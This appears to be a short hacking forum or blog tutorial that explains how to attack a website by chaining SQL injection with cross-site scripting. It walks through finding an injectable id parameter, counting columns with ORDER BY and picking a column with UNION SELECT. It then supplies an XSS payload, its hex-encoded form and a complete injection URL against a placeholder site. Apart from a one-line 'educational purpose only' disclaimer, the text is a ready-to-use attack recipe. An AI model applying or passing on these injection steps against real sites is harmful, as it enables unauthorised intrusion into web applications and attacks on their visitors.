How to Attack a Website with XSSQLi (SQLi + XSS)

Hey guys,

Today I am going to tell you that how to attack a website using XSS (Cross-Site-Scripting + SQLi).

This is pretty simple! We just have to inject our JavaScript code in the website. I will not teach you the basics of SQLi.

Let’s start:

Step 1:
First we have to find a SQLi vul. Site.

Like this:

http://www.site.in/index.php?id=3

Step 2:

Finding the number of columns on the site using ORDER BY method.

~ Suppose our site have 9 columns!

Step 3:
Finding the Vulnerable column using UNION ALL SELECT methods.

~ And the most vul. column is 3!

Step 4:
Now we will inject our XSS payload into it. To make things simple we will encode our payload into hex. 
Our XSS injection Payload:-

<img src=x onerror=confirm(/XSS/)>

Our Hex Encoded Payload:-

0x3c696d67207372633d78206f6e6572726f723d636f6e6669726d282f5853532f293e

Step 5:
Injecting The Payload Into The Site!
Like this:-

http://site.com/index.php?id=-3′ union select 1,2,0x3c696d67207372633d78206f6e6572726f723d636f6e6669726d282f5853532f293e,4,5,6,7,8,9–+

Note:  “This is just for educational purpose only. Discussing or Reading about thief technique is not crime but implementing. ”

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